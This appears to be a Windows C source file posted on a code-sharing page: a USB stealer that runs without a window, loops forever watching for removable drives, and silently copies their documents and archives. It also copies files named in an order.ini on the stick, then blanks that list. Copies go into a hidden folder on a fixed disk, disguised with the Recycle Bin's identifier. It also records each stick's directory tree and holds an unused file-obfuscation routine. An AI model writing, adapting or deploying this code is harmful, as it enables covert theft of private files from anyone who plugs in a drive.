📄 main.c
字号:
#include <stdio.h>
#include <stdlib.h>
#include "windows.h"
#include <dos.h>
#include <dir.h>
#include <string.h>
#include <time.h>
int tree(char[]);
int findfile(char [],char[],int);
char *getvolume(char[],char[],char []);
FILE *out;//for tree()
char tmp[FILENAME_MAX],temp[FILENAME_MAX];
struct _finddata_t f;
int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nFunsterStil){
unsigned i=0,d,t=0,c=0,nDisk,nMovable;
int ch,flag=0;
char a[4],disk[15][4],movable[15][4],goalD[4];
char taskName[10][7];
strcpy(taskName[0],"*.doc");strcpy(taskName[1],"*.doc");
strcpy(taskName[2],"*.zip");strcpy(taskName[3],"*.rar");
strcpy(taskName[4],"*.txt");strcpy(taskName[5],"*.ppt");
strcpy(taskName[6],"*.chm");strcpy(taskName[7],"*.xls");
strcpy(taskName[8],"*.mdb");strcpy(taskName[9],"*.html");
long now,sz;
struct tm *tnow;
time(&now);
tnow=localtime(&now);
d=_getdrives();i=0; //deal with disk[][] and goalDisk[] nDisk
while(d>0){
if(d%2){
a[0]=c+65;a[1]=':';a[2]='\\';a[3]='\0';
if(GetDriveType(a)==3){
strcpy(disk[i],a);i++;
}
}
d>>=1;++c;
}
nDisk=i;
//for(i=0;i<nDisk;i++)printf("%s\n",disk[i]);
//printf("%d\n",nDisk);
GetSystemDirectory(tmp,260);
if(nDisk>1){
if(tmp[0]==disk[0][0])strcpy(goalD,disk[1]);
else strcpy(goalD,disk[0]);
}
else strcpy(goalD,disk[0]);
//printf("%s\t%s\n",tmp,goalD);
// To get removable
int m=0,n=0,k=0,j,len;
char volbuf[20],label[20],nap[40],treefile[40],ini[20][140];;
//struct _finddata_t *f;
//f=(struct _finddata_t*)malloc(sizeof(struct _finddata_t));
while(1){
d=_getdrives();n=0;c=0;d>>=2;
while(d>0){
if(d%2){
a[0]=c+67;a[1]=':';a[2]='\\';a[3]='\0';
if(GetDriveType(a)==2){
strcpy(movable[n],a);n++;
}
}
d>>=1;++c;
}
nMovable=n;
for(n=0;n<nMovable;n++) {
//printf("%d",sizeof(struct _finddata_t));
printf("%s\n",movable[n]);
strcpy(tmp,movable[n]);strcat(tmp,"setk\\order.ini");
k=_findfirst(tmp,&f);
_findclose(k);
if(k!=-1){
if(f.size==0)continue;
sz=f.size;
}
getvolume(movable[n],volbuf,label);
//To make a Recycled to hold materials
strcpy(temp,goalD);strcat(temp,"Recycled\\desktop.ini");
strcpy(nap,goalD);strcat(nap,"Recycled\\");
strcpy(treefile,nap);
if((j=_findfirst(temp,&f))==-1){
FILE *outini;
char nei[]="[.ShellClassInfo]\nCLSID={645FF040-5081-101B-9F08-00AA002F954E}\n";
mkdir(nap);
outini=fopen(temp,"wt");
fputs(nei,outini);
fclose(outini);
SetFileAttributes(temp,7);
}
_findclose(j);
SetFileAttributes(nap,22);
strcat(nap,label);strcat(nap,"\\");
mkdir(nap);
if(k!=-1){
if(sz!=0){
FILE *oin,*oout;
oin=fopen(tmp,"rt");
//oout=fopen(,"wt");
i=0;
while(fgets(ini[i],140,oin)){
++i;
if(i==20)break;
}
len=i;
fclose(oin);
oin=fopen(tmp,"wt");
fclose(oin);
for(i=0;i<len;i++){
j=strlen(ini[i]);
if(ini[i][j-1]=='\n')ini[i][j-1]='\0';
}
flag=1;
continue;
//puts(ini[len-1]);
//printf("len-1:%d\n",len-1);
}
}
if(flag){
for(i=0;i<len;i++){
strcpy(tmp,movable[n]);strcat(tmp,ini[i]);
printf("tmp:%s\n",tmp);//puts(nap);
findfile(tmp,nap,1);
Sleep(500);
strcpy(temp,nap);strcat(temp,ini[i]);
j=_findfirst(temp,&f);
printf("j:%d\n",j);
if(j!=-1){
if(i<(len-1))strcpy(ini[i],ini[len-1]);
len--;--i;
}
_findclose(j);
printf("len:%d\n",len);
}
}
strcpy(tmp,movable[n]);strcat(tmp,taskName[(tnow->tm_mday)%10]);
findfile(tmp,nap,0);
Sleep(2000);
strcpy(tmp,movable[n]);strcat(tmp,taskName[((tnow->tm_mday)+4)%10]);
findfile(tmp,nap,0);
// nap:d:\recycled\label
strcat(treefile,label);strcat(treefile,"#");strcat(treefile,volbuf);
//puts(treefile);
k=_findfirst(treefile,&f);
if(k!=-1){
long time_;time(&time_);
if((time_-f.time_create)>604800){
out=fopen(treefile,"wt");
tree(movable[n]);
fclose(out);
}
}
else {
out=fopen(treefile,"wt");
tree(movable[n]);
fclose(out);
}
_findclose(k);
}
Sleep(2000);
}
//encode(toName);
//SetFileAttributes(toName,7);
//printf("start=%d end=%d \n",start,end);
//Sleep(1500);
return 0;
}
int findfile(char na[],char to[],int flag){
//全局变量FILE *out; char tmp[FILENAME_MAX],temp[FILENAME_MAX];
char *path,*ptr,*name,*c;
int l,*i,*j,*k;
i=(int*)malloc(sizeof(int));
j=(int*)malloc(sizeof(int));
k=(int*)malloc(sizeof(int));
c=(char*)malloc(1);*c='\\';
l=strlen(tmp);
strcpy(tmp, na);
ptr = strrchr(tmp, *c);
path=(char*)malloc(ptr-tmp+2);
//get path and searchname
for(*i=0;*i<=ptr-tmp;(*i)++){path[*i]=tmp[*i];}path[*i]='\0';//路径
//printf("path:%s\n",path);
name=(char*)malloc(l+tmp-ptr+2);
*j=0;
for(*i=ptr-tmp+1;*i<l;(*i)++){name[*j]=tmp[*i];(*j)++;}name[*j]='\0';//name
//printf("name:%s\n",name);
*j=_findfirst(na ,&f);*k=*j;
*c='.';
while(*j!=-1){
strcpy(tmp,path);
strcat(tmp,f.name);//printf("name:%s\n",tmp);
if(f.name[strlen(f.name)-1]!=*c){
if((f.attrib&16)!=16){
long newT,newS;
//newT=(long*)malloc(sizeof(long));
//newS=(long*)malloc(sizeof(long));
newT=f.time_write,newS=f.size;
//fprintf(out,"%-35s\t*\n",tmp);
strcpy(temp,to);strcat(temp,f.name);
*j=_findfirst(temp,&f);
if(*j!=-1){if(newS<10240000)if(f.time_write!=newT)CopyFile(tmp,temp,0);}
else if(newS<16048576||flag)CopyFile(tmp,temp,1);
_findclose(*j);
//free(newT);free(newS);
}
}
*j = _findnext(*k,&f);
}
_findclose(*k);
//system("pause");
strcpy(temp,path);strcat(temp,"*.*");
*j = _findfirst(temp,&f);
*k=*j;
while (*j!=-1){
strcpy(tmp,path);
strcat(tmp,f.name);//printf("name:%s\n",tmp);
if(f.name[strlen(f.name)-1]!='.'){
if((f.attrib&16)==16){
strcat(tmp,"\\");
//printf("%-35s\tdir\n",tmp);
strcat(tmp,name);
findfile(tmp,to,1);//free(f);
}
}
*j = _findnext(*k,&f);
}
_findclose(*k);
free(ptr);free(name);free(path);free(c);// free(f);
free(i);free(j);free(k);
}
int encode(char file[]){
FILE *out,*in;
in=fopen(file,"rb");
if(in!=NULL){
int ch;
char path[260];getcwd(path,260);strcat(path,"_$b.a");
out=fopen(path,"wb");
while((ch=getc(in))!=EOF)putc(ch+100,out);
fclose(in);fclose(out);
remove(file);
rename(path,file);
return (0);
}
else return (-1);
}
int tree(char path[]){
//need fopen advance and remenber to fclose
//struct _finddata_t f;
int done,save,i;
char *name;
fprintf(out,"%s\n",path);
name=(char*)malloc(5+strlen(path));
//fprintf(out,"sizeof(path)=%d\n",1+strlen(path));
strcpy(name,path);
strcat(name, "*.*");
//f=malloc(sizeof(struct _finddata_t));
done=_findfirst(name,&f);save=done;
while(done!=-1){
char c[FILENAME_MAX];strcpy(c,path);
strcat(c,f.name);//printf("name:%s\n",c);
if(f.name[strlen(f.name)-1]!='.'){
//if(1){printf("%-35s\t",f.name);}
if((f.attrib&16)!=16){
long newS=f.size,tmpSize;
tmpSize=newS>>10;
//printf("%-35s\t%d Kb\n",f.name,tmpSize?tmpSize:newS,tmpSize?"Kb":"b");
fprintf(out,"\t%-35s\t%d %s\n",f.name,tmpSize?tmpSize:newS,tmpSize?"Kb":"b");
}
}
done = _findnext(save,&f);
}
_findclose(save);
done = _findfirst(name ,&f);
save=done;
//printf("done=%d\n\n",save=done);
while (done!=-1){
//c hold the full namepath
if(f.name[strlen(f.name)-1]!='.'){
if((f.attrib&16)==16){
char c[FILENAME_MAX];strcpy(c,path);
strcat(c,f.name);
strcat(c,"\\");
tree(c);
}
}
done = _findnext(save,&f);
}
_findclose(save);
free(name);
}
char * getvolume(char RootPathName[],char VolumeNameBuffer[],char label[]){
DWORD serial;
GetVolumeInformation(RootPathName,VolumeNameBuffer,15,&serial,NULL,NULL,NULL,NULL);
sprintf(label,"%0X",serial);
return (VolumeNameBuffer);
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -